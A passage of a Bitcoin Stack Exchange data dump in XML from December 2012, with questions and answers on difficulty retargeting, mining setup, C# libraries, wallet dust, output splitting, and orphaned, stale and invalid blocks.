calculated?" Tags="|difficulty|difficulty-retargetting|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5839" PostTypeId="2" ParentId="5771" CreationDate="2012-12-18T19:24:08.760" Score="1" Body="&lt;p&gt;Here are some performance stats I've come up with so far for my C# implementation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single ECC public key (after the ECC operation) can have the Base58Checked algorithm applied at this rate&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Algorithm                             Time for 100,000 Base58Check(byte[] key)&#xA;   ------------------------------       ---------------------------------------------&#xA;   SHA256Managed()                       4500ms&#xA;   SHA256CryptoServiceProvider()         3640ms  &amp;lt;--- CSP FIPS version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So yes, the FIPS validated version is faster &amp;amp; likely better.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-19T04:44:37.490" LastActivityDate="2012-12-19T04:44:37.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5840" PostTypeId="2" ParentId="5838" CreationDate="2012-12-18T19:43:54.000" Score="91" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8806/what-is-difficulty-and-how-it-relates-to-target&quot;&gt;Bitcoin difficulty&lt;/a&gt; started at 1 (and can never go below that). Then for every 2016 blocks that are found, the timestamps of the blocks are compared to find out how much time it took to find 2016 blocks, call it T. We want 2016 blocks to take 2 weeks, so if T is different, we multiply the difficulty by (2 weeks / T) - this way, if the hashrate continues the way it was, it will now take 2 weeks to find 2016 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if it took only 10 days it means difficulty is too low and thus will be increased by 40%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty can increase or decrease depending on whether it took less or more than 2 weeks to find 2016 blocks. Generally, the difficulty will decrease after the network hashrate drops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the correction factor is greater than 4 (or less than 1/4), then 4 or 1/4 are used instead, to prevent the change to be too abrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a bug in the implementation, due to which the calculation is based on the time to find the last 2015 blocks rather than 2016. Fixing it would require a hard fork and is thus deferred for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to give a rough estimate for the next difficulty change, based on the time to find the recent blocks. Nobody can make longer-term predictions for the future difficulty reliably, but anyone is free to speculate based on exchange rate trends, Moore's law and other hardware advances.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-04-21T12:22:27.020" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="5841" PostTypeId="1" AcceptedAnswerId="5842" CreationDate="2012-12-18T21:57:08.307" Score="4" ViewCount="3396" Body="&lt;p&gt;I started mining yesterday on a low-end system, trying to figure out how it works.&#xA;I used the bincoind build from Debian. When I try&#xA;&lt;code&gt;bitcoind getmininginfo&lt;/code&gt; today, I get the following output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;blocks&quot; : 208085,&#xA;    &quot;currentblocksize&quot; : 0,&#xA;    &quot;currentblocktx&quot; : 0,&#xA;    &quot;difficulty&quot; : 3368767.14053294,&#xA;    &quot;errors&quot; : &quot;&quot;,&#xA;    &quot;generate&quot; : true,&#xA;    &quot;genproclimit&quot; : -1,&#xA;    &quot;hashespersec&quot; : 0,&#xA;    &quot;pooledtx&quot; : 69,&#xA;    &quot;testnet&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like hashes per sec is 0. Shouldn't that be some positive number? &#xA;Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="2459" LastEditorUserId="5406" LastEditDate="2016-03-14T16:54:31.893" LastActivityDate="2016-03-14T16:54:31.893" Title="bitcoind getmininginfo says hashespersec is 0" Tags="|bitcoind|hash|miner-configuration|cpu-mining|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5842" PostTypeId="2" ParentId="5841" CreationDate="2012-12-18T23:41:05.613" Score="4" Body="&lt;p&gt;The &lt;code&gt;hashespersec&lt;/code&gt; field reports the speed of the built-in miner. It does not (and can't accurately) report the hashing power connected to it via the &lt;code&gt;getwork&lt;/code&gt; or &lt;code&gt;getblocktemplate&lt;/code&gt; interfaces.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-12-18T23:41:05.613" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5843" PostTypeId="1" AcceptedAnswerId="5871" CreationDate="2012-12-18T23:41:47.000" Score="9" ViewCount="13760" Body="&lt;p&gt;I was keen to write/launch a .Net pooled mining server as an exercise of getting into the Bitcoin universe.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are there any C# ports of the libraries needed to achieve this?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If not &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are there any current tech mining servers that would suit my skill set, C#/Java? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I was keen to build out a site frontend &amp;amp; backend.&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="4986" LastEditDate="2013-05-13T04:12:34.377" LastActivityDate="2014-06-30T08:48:57.677" Title="Are there any C# Bitcoin libraries and/or mining pool software packages?" Tags="|mining-pools|c#|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5845" PostTypeId="2" ParentId="5770" CreationDate="2012-12-18T23:50:09.147" Score="3" Body="&lt;p&gt;If anyone need a few testnet coins, drop me an e-mail at jim@bitlc.net with an address and we'll work it out. I have a &quot;few&quot; as a result of poolserver-software development and testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@makerofthings7: 100 coins sent to you, txid: 1227db61fd3f82bde11303632e3d01ec6b386bff0cf37979736385b5a9ec6960&lt;/p&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="2124" LastEditDate="2012-12-18T23:56:20.780" LastActivityDate="2012-12-18T23:56:20.780" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5846" PostTypeId="2" ParentId="5843" CreationDate="2012-12-19T00:43:31.257" Score="2" Body="&lt;p&gt;Welcome&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;http://code.google.com/p/bitcoinsharp/&quot; rel=&quot;nofollow&quot;&gt;Here's an old project to start from&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;https://en.bitcoin.it/wiki/Software#Mining_Pool_Servers_.28backend.29&quot; rel=&quot;nofollow&quot;&gt;Here is the Bitcoin.it wiki entry on pool servers, including the derelict PoolServerJ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is changing radically right now, with new hardware technology (ASICs) soon to be delivered which will likely increase the network hashrate by some orders of magnitude in the coming months. As a result, the protocols are changing to accommodate this increase, namely to stratum and getblocktemplate, if I recall correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2012-12-19T00:43:31.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5847" PostTypeId="1" CreationDate="2012-12-19T00:53:17.307" Score="9" ViewCount="849" Body="&lt;p&gt;Every time the Bitcoin-Qt is launched, the blockchain syncs to update to its latest state. Does this mean the data stored locally will always grow continously, eating up all available space eventually? Or is there a size-limit so that only the latest info is kept? How does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of writing, my folder is 5.82GB; let's see if this changes..&lt;/p&gt;&#xA;" OwnerUserId="1560" LastActivityDate="2012-12-25T12:24:32.153" Title="Does the synced blockchain always grow in size?" Tags="|blockchain|block|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5848" PostTypeId="2" ParentId="5847" CreationDate="2012-12-19T01:23:28.783" Score="7" Body="&lt;p&gt;The Bitcoin.org client v0.7 and lower will continuously increase in size about once every ten minutes, on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info provides a &lt;a href=&quot;http://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;chart&lt;/a&gt; showing the size of the data (actual disk consumption will be slightly larger even.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin.org client v0.8, being developed now, dramatically &lt;a href=&quot;http://codinginmysleep.com/ultraprune-in-plain-english/&quot; rel=&quot;nofollow&quot;&gt;changes how it stores and accesses data&lt;/a&gt; that will reduce the amount of disk storage space to some degree but also will provide a dramatic increase in performance.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-25T12:24:32.153" LastActivityDate="2012-12-25T12:24:32.153" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5849" PostTypeId="2" ParentId="5184" CreationDate="2012-12-19T03:16:37.197" Score="1" Body="&lt;p&gt;Look at the humanistic aspects of trading &lt;/p&gt;&#xA;&#xA;&lt;p&gt;People are cashing out for christmas...also around Jan 14 as the bills arive you will see the price go down as people cash out (Low Demand)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mid Jan is great time to buy for a lot of Gold standard currency stocks like BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO&lt;/p&gt;&#xA;" OwnerUserId="2464" LastActivityDate="2012-12-19T03:16:37.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5850" PostTypeId="1" CreationDate="2012-12-19T03:49:37.220" Score="7" ViewCount="6164" Body="&lt;p&gt;The scenario is: You have a wallet with only 0.0001 BTC or less. The amount is less than the transaction fee. You want to transfer the coins to another wallet in order to reduce the wallet size. How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you good people:)&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2012-12-19T10:30:33.997" Title="How to deal with the wallets with very small amount of Bitcoins?" Tags="|wallet|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5851" PostTypeId="2" ParentId="5850" CreationDate="2012-12-19T04:08:05.453" Score="4" Body="&lt;p&gt;Two ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a transaction with no fee and wait as long as it takes for it to confirm.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Aggregate several such accounts into a single wallet so you can combine them in a single transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Neither way is likely to be worth the effort though, unless you have a large number of such accounts.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-12-19T04:08:05.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5852" PostTypeId="1" AcceptedAnswerId="5873" CreationDate="2012-12-19T04:26:08.043" Score="4" ViewCount="527" Body="&lt;p&gt;Maybe a simple answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can research so far &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Eloipool the only public Server avaiable that is not parked or deprecated and that has support for the ASIC chips using stratum  ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any support for Non Linux based solutions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I can take it Doc give it too me straight) :S&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="5406" LastEditDate="2016-04-17T20:08:20.683" LastActivityDate="2016-04-17T20:08:20.683" Title="Eloipool only public Server avaiable" Tags="|mining-pools|stratum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5853" PostTypeId="1" AcceptedAnswerId="5854" CreationDate="2012-12-19T05:46:44.883" Score="4" ViewCount="812" Body="&lt;p&gt;I know that the underlying digitial signing method Bitcoin uses for transactions is ECDSA (sep256k1 if memory serves). I've also read a few papers about performing ECDSA signing on certain kinds of smart cards. Has anyone merged these concepts and made (or attempted to make) a smart card that can sign a transaction with an internally-held private key?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-19T05:59:18.030" LastActivityDate="2012-12-19T07:49:18.823" Title="ECDSA transaction signing on a smartcard?" Tags="|signature|ecdsa|bitcoin-credit-card|debitcard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5854" PostTypeId="2" ParentId="5853" CreationDate="2012-12-19T07:49:18.823" Score="3" Body="&lt;p&gt;Yes, there is &lt;a href=&quot;http://smartcardwallet.org/&quot; rel=&quot;nofollow&quot;&gt;Smart Card Wallet&lt;/a&gt; project, though there seems to be no clear indication on what stage the project currently is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;https://bitcointalk.org/index.php?topic=122438.0&quot; rel=&quot;nofollow&quot;&gt;hardware wallet by Slush&lt;/a&gt;. It's not smart card based, but works pretty much the same way. Also still in development.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2012-12-19T07:49:18.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5855" PostTypeId="1" AcceptedAnswerId="5856" CreationDate="2012-12-19T08:39:04.157" Score="0" ViewCount="648" Body="&lt;p&gt;I have a wallet that pays lots of small amounts in the range of 0.x to 5 BTC.&#xA;I filled the wallet with one transaction of 50 BTC, so there is only one large input contained.&#xA;Now when i transfer 0.5 BTC anywhere, the transaction has two outputs - 0.5 for the receiver and 49.5 change.&#xA;Problem is that as long as this transaction is not confirmed the wallet is more or less blocked, as it only contains 49.5 &lt;strong&gt;unconfirmed&lt;/strong&gt; balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I end up with one transaction per block, as i need to wait for the change to be confirmed until i can create the next tx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;Note that I am using the rawtransactions API and when constructing a transaction i only want to use confirmed outputs (from &quot;listunspent&quot; command) as inputs for the new tx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to split the big output in the wallet into something like e.g. 10*5.0 BTC?&lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorUserId="22" LastEditDate="2012-12-19T18:49:23.463" LastActivityDate="2012-12-19T18:49:23.463" Title="How can i effectively split large outputs into smaller ones?" Tags="|wallet|confirmations|fragmentation|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5856" PostTypeId="2" ParentId="5855" CreationDate="2012-12-19T09:48:57.343" Score="2" Body="&lt;p&gt;The protocol and the standard client allow you to spend your own unconfirmed change. Multibit didn't allow this, but I believe it's a recently/soon added feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When constructing your transaction manually there is little advantage to choosing confirmed outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do want to split your outputs, you can do it with a sendmany transaction. The Bitcoin-qt GUI allows you to do this (&quot;Add Recipient&quot;), which can scale to several outputs. For a larger number of outputs you can generate the command programmatically and issue it with the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-qt does not allow you to pay an address multiple times in the same transaction. There seems to be little justification for that, and it may be possible with the raw transaction API. Alternatively, you can generate several addresses and split the amount between them.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-12-19T10:13:49.907" LastActivityDate="2012-12-19T10:13:49.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5857" PostTypeId="2" ParentId="5850" CreationDate="2012-12-19T10:30:33.997" Score="2" Body="&lt;p&gt;To spend the funds without paying a fee, you can transfer the private keys over to another client that doesn't impose a mandatory fee.  Like Blockchain.info/wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But seriously ... 0.0001 is worth less than a penny.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-19T10:30:33.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5859" PostTypeId="1" AcceptedAnswerId="5866" CreationDate="2012-12-19T17:45:46.057" Score="40" ViewCount="60492" Body="&lt;p&gt;If I understand it right, a stale block is a block for which an earlier confirmation has been found and was accepted by majority of people. This block is considered invalid and is later never used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what is a orphaned block. How is it created? How is it verified that it is orphaned and what is done to the orphaned block?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="5406" LastEditDate="2017-01-27T14:10:03.253" LastActivityDate="2020-11-25T18:31:32.053" Title="What are orphaned and stale blocks?" Tags="|terminology|orphaned-blocks|stale-block|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5860" PostTypeId="2" ParentId="2961" CreationDate="2012-12-19T18:15:50.960" Score="2" Body="&lt;p&gt;Check this &lt;a href=&quot;http://www.prestashop.com/forums/topic/123451-module-free-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://www.prestashop.com/forums/topic/123451-module-free-bitcoin/&lt;/a&gt; it says is free and works without integrating with online payments processors&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2012-12-19T18:15:50.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5861" PostTypeId="1" CreationDate="2012-12-19T19:44:06.020" Score="5" ViewCount="5990" Body="&lt;p&gt;I'd like to use Bouncy Castle to generate the keypair for use with all *coin variants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the correct implementation to get the correct ECC curve that the *coin variants use?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Org.BouncyCastle.Crypto.AsymmetricCipherKeyPair GenerateKeys(int keySize)&#xA;    {&#xA;        var gen = new Org.BouncyCastle.Crypto.Generators.ECKeyPairGenerator();&#xA;        var secureRandom = new Org.BouncyCastle.Security.SecureRandom();&#xA;        var keyGenParam = new Org.BouncyCastle.Crypto.KeyGenerationParameters(secureRandom, keySize);&#xA;        gen.Init(keyGenParam);&#xA;&#xA;        return gen.GenerateKeyPair();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2018-09-17T15:40:54.843" Title="Is this the proper way to use Bouncy Castle to generate a Bitcoin compatible key?" Tags="|development|private-key|encryption|secp256k1|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5863" PostTypeId="2" ParentId="5786" CreationDate="2012-12-19T20:09:05.103" Score="3" Body="&lt;p&gt;There is a prefix for 10000, &lt;em&gt;myria&lt;/em&gt;, though it is not part of the SI standard and has effectively been deprecated.  But this means that it is ripe for reuse.  So a myriasatoshi (myria or myrisat for short, I guess) would be 10&lt;sup&gt;-4&lt;/sup&gt; bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="2470" LastActivityDate="2012-12-19T20:09:05.103" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5864" PostTypeId="1" AcceptedAnswerId="5865" CreationDate="2012-12-19T21:07:24.210" Score="1" ViewCount="78" Body="&lt;p&gt;Are there any special tests (test data) I should run against my code if I've written a Base58Checked encoder/decoder?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-01-18T21:27:30.567" Title="What development tests should I do when creating a Base58Checked parser?" Tags="|development|base58check|" AnswerCount="1" CommentCount="1" ClosedDate="2013-03-19T20:59:12.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="5865" PostTypeId="2" ParentId="5864" CreationDate="2012-12-19T21:07:24.210" Score="1" Body="&lt;p&gt;I'm using BigInteger in .NET so these tests are unique to this scenario but may be adapted to Java or other languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tests I've found helpful is when translating to or from hexadecimal at any intermediate step make sure the data is correct when:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first or last byte of the checksum is one or more 0's&lt;/li&gt;&#xA;&lt;li&gt;The first or last byte of the address is one or more 0's&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Often times this may cause two's compliment errors depending on the implementation of BigInteger that is being used.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll run my own version of vanity gen to generate addresses that have these errors and will post them here.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-19T21:07:24.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5866" PostTypeId="2" ParentId="5859" CreationDate="2012-12-19T21:24:40.237" Score="29" Body="&lt;p&gt;&lt;a href=&quot;http://btcvsltc.blogspot.co.nz/2012/10/stale-block.html&quot;&gt;Stale blocks&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At any second, a block may be &quot;solved.&quot;  This means that everyone else&#xA;  in the world working on that block must stop, and restart their work. &#xA;  Continuing to work after that point is known as working on a &quot;stale&#xA;  block&quot; because it is old data, and old transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My understanding is the term stale is much more commonly applied to shares when mining in a pool, so you're more likely to hear about stale shares than stale blocks. In this case, the pool probably wouldn't even bother checking whether the share actually solved a block or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/orphaned-blocks&quot;&gt;Orphaned blocks&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Detached or Orphaned blocks are valid blocks which are not part of the&#xA;  main chain. They can occur naturally when two miners produce blocks at&#xA;  similar times or they can be caused by an attacker (with enough&#xA;  hashing power) attempting to reverse transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My own understanding is that orphaned blocks are initially accepted by the majority of the network, but are later rejected when proof of a longer blockchain is received that doesn't include that particular block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that a user could see a transaction as having one confirmation and then, if a longer blockchain was received that didn't include the transaction, it could change back to 0 confirmations. &lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-12-19T22:44:47.953" LastActivityDate="2012-12-19T22:44:47.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5867" PostTypeId="1" CreationDate="2012-12-19T22:08:55.220" Score="3" ViewCount="115" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3612/any-multi-currency-accounting-ledger-that-lets-me-use-btc&quot;&gt;Any multi-currency accounting ledger that lets me use BTC?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I'm looking for a way to manage all of my assets. I have various assets in multiple currencies &amp;amp; investment instruments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I would like to try using a software that works with &lt;a href=&quot;http://en.wikipedia.org/wiki/Double-entry_bookkeeping_system&quot; rel=&quot;nofollow noreferrer&quot;&gt;double-entry bookkeeping&lt;/a&gt;. I'm trying out GnuCash so far, and it seems to do a decent job:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It can easily track all Fiat currencies and has automatically updated prices.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=29884.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Can be made to work with Bitcoin&lt;/a&gt; using the XXX custom currency code.&lt;/li&gt;&#xA;&lt;li&gt;Is a tad complicated to begin with, but I think over time it's worth it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Frankly, the one thing I'm missing is integration of an Mt. Gox price feed and the ugliness of writing XXX instead of BTC.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-12-19T23:10:36.980" Title="Is there an asset tracking software that supports Bitcoin? (Better than GnuCash)" Tags="|accounting|" AnswerCount="0" CommentCount="1" ClosedDate="2013-02-01T06:36:11.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="5868" PostTypeId="2" ParentId="5837" CreationDate="2012-12-19T23:41:32.980" Score="2" Body="&lt;p&gt;&lt;em&gt;Posting my comment as an answer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your client is up to date... it's possible your wallet in the old testnet got coins that is separate than the more modern testnet3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each version of bitcoind has the possibility of being associated with a different test network.  It would be interesting to see if there was a matrix listing releases against test networks (and why the new network was created).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that it's possible to launch older versions of bitcoind and see each testnet independently of each other, but that independence means that there is no way to transfer coins from one network to the other.  (It is &lt;strong&gt;test&lt;/strong&gt; after all, and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5816/1878&quot;&gt;hopefully one didn't pay for those coins&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-12-19T23:41:32.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5869" PostTypeId="2" ParentId="5859" CreationDate="2012-12-19T23:51:57.557" Score="53" Body="&lt;p&gt;There are several definitions with overlapping meanings.&lt;/p&gt;&#xA;&lt;p&gt;The first is perhaps best called &lt;em&gt;extinct&lt;/em&gt; blocks. These are blocks that were produced by building on a block that is no longer the active tip of the chain. Some nodes may have considered it to be the best block at some point, but they switched to another chain which does not contain the relevant block anymore. They are valid, verified, and their ancestry up to the genesis block is fully known - they're just not currently 'active'. They are sometimes called stale blocks (typically in the context of mining software realizing it built on old data) or orphan blocks. The latter name originates from the fact that payouts from extinct blocks are denoted as &amp;quot;orphaned&amp;quot; in the reference client (referring to the fact that their coinbase transactions are now orphaned).&lt;/p&gt;&#xA;&lt;p&gt;However, there also exist real &lt;em&gt;orphan&lt;/em&gt; blocks, with orphan in its original meaning of &amp;quot;having no parent&amp;quot;. These are blocks received by a node that does not have its entire ancestry (yet) and thus cannot be validated. Nodes keep such blocks in memory, while asking their peers to fill in the gap of their history. The client does not show these, so when people talk about orphan blocks, they are most likely referring to extinct blocks. Note that since Bitcoin Core v0.10, there are no such orphan blocks anymore, due to a significant change in the download mechanism.&lt;/p&gt;&#xA;&lt;p&gt;Terminology is confusing here :)&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2020-11-25T18:31:32.053" LastActivityDate="2020-11-25T18:31:32.053" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="5870" PostTypeId="1" AcceptedAnswerId="7176" CreationDate="2012-12-20T00:59:06.653" Score="3" ViewCount="1285" Body="&lt;p&gt;This wiki page says &lt;a href=&quot;https://en.bitcoin.it/wiki/Invalid_block&quot; rel=&quot;nofollow&quot;&gt;invalid blocks aren't counted towards determining chain length&lt;/a&gt; and that make me want understand how invalid blocks are treated.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can an valid block be added to an invalid one.. and have it accepted by one or more clients?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;If so...&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do miners of invalid blocks receive a reward for the block? Are the Tx's valid? Are there any examples?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Suppose an invalid block is created and valid block is added to that invalid one.  Both blocks are added to the primary chain. ( assume the attacker has 25% compute and has a custom client that pushes both transactions to all peers)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Since every block has a reward, is the reward in the invalid block counted?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are the transactions within an invalid block still considered valid?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm interested in tracing the transactions the occur from these &quot;broken&quot; blocks and to see if my hand-coded client processes the transactions correctly.  &lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:13:53.120" LastActivityDate="2016-03-16T09:13:53.120" Title="Is it possible for a valid block to be added to an invalid one, and have it accepted by another client?" Tags="|blockchain|block|verification|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
